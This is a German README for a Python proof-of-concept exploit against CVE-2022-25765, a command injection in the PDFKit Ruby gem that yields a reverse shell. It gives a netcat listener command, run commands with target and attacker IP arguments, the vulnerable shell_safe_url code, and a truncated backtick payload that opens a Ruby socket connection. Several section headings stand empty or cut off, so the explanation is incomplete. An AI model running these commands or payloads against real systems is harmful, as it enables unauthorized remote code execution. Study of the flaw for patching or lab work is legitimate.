
Python PoC Exploit für CVE-2022-25765, eine kritische Command Injection in PDFKit. Erzeugt eine Reverse-Shell über nicht bereinigte URL-Parameter, die an wkhtmltopdf übergeben werden. Enthält Nutzungshinweise und technische Schwachstellenanalyse.
Ein kleiner PoC-Exploit für CVE-2022-25765, PDFkit-Befehlseinschleusung
Starten Sie einen Netcat-Listener auf Ihrem Angriffsrechner:
nc -lvnp 4444
Führen Sie den Exploit aus:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Beispiel:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Parameter:
-t, --target: Ziel-URL, die angreifbares PDFKit ausführt-l, --lhost: Ihre IP-Adresse für die Reverse-Shell-Verbindung-p, --lport: Ihr Port für die Reverse-Shell-Verbindung (muss mit Ihrem Netcat-Listener übereinstimmen)CVE ID: CVE-2022-25765 CVSS v3.1 Bewertung: 9.8 (Kritisch) EPSS Bewertung: 71.381% (99. Perzentil) CWE: CWE-77 - Unzureichende Neutralisierung spezieller Elemente in einem Befehl
PDFKit ist ein Ruby-Gem, das HTML mit dem Befehlszeilentool wkhtmltopdf in PDF konvertiert. Die Schwachstelle besteht darin, wie PDFKit URL-Parameter behandelt, bevor sie zur PDF-Erstellung an System-Shell-Befehle übergeben werden.
Die Schwachstelle befindet sich in lib/pdfkit/source.rb, wo die URL-Bereinigung nicht ordnungsgemäß implementiert ist:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
Das Problem:
Angriffsvektor:
Dieser PoC nutzt die Schwachstelle aus, indem:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'Auf dem Zielsystem: